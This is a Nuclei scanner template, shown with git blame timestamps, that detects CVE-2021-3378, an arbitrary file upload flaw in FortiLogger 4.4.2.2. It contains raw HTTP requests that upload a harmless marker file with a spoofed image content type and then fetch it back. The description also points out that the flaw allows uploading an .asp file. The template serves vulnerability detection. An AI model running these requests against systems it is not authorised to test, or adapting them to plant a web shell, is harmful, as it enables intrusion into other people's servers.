nuclei-templates/cves/2021/CVE-2021-3378.yaml

62 lines
1.8 KiB
YAML
Raw Normal View History

2021-03-01 00:32:59 +00:00
id: CVE-2021-3378
info:
name: FortiLogger 4.4.2.2 - Arbitrary File Upload
2021-03-01 00:32:59 +00:00
author: dwisiswant0
severity: critical
description: |
FortiLogger 4.4.2.2 is affected by arbitrary file upload issues. Attackers can send a "Content-Type: image/png" header to Config/SaveUploadedHotspotLogoFile and then Assets/temp/hotspot/img/logohotspot.asp.
reference:
- https://erberkan.github.io/2021/cve-2021-3378/
- https://github.com/erberkan/fortilogger_arbitrary_fileupload
- http://packetstormsecurity.com/files/161601/FortiLogger-4.4.2.2-Arbitrary-File-Upload.html
- http://packetstormsecurity.com/files/161974/FortiLogger-Arbitrary-File-Upload.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-3378
cwe-id: CWE-434
2022-09-01 10:51:29 +00:00
tags: fortilogger,fortigate,fortinet,packetstorm,cve,cve2021,fileupload,intrusive
2021-03-01 00:32:59 +00:00
requests:
2021-03-01 08:45:16 +00:00
- raw:
- |
POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Accept: application/json
Referer: {{BaseURL}}
Connection: close
X-Requested-With: XMLHttpRequest
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="file"; filename="poc.txt"
Content-Type: image/png
2021-03-01 08:45:16 +00:00
POC_TEST
------WebKitFormBoundarySHHbUsfCoxlX1bpS
- |
GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
2021-03-01 00:32:59 +00:00
matchers:
- type: status
status:
- 200
- type: word
words:
2021-03-01 08:45:16 +00:00
- "POC_TEST"
2021-03-01 00:32:59 +00:00
part: body
2021-03-01 08:45:16 +00:00
2021-03-01 00:32:59 +00:00
- type: word
words:
2021-03-01 08:45:16 +00:00
- "text/plain"
2021-03-01 00:32:59 +00:00
- "ASP.NET"
condition: and
part: header
# Enhanced by mp on 2022/05/18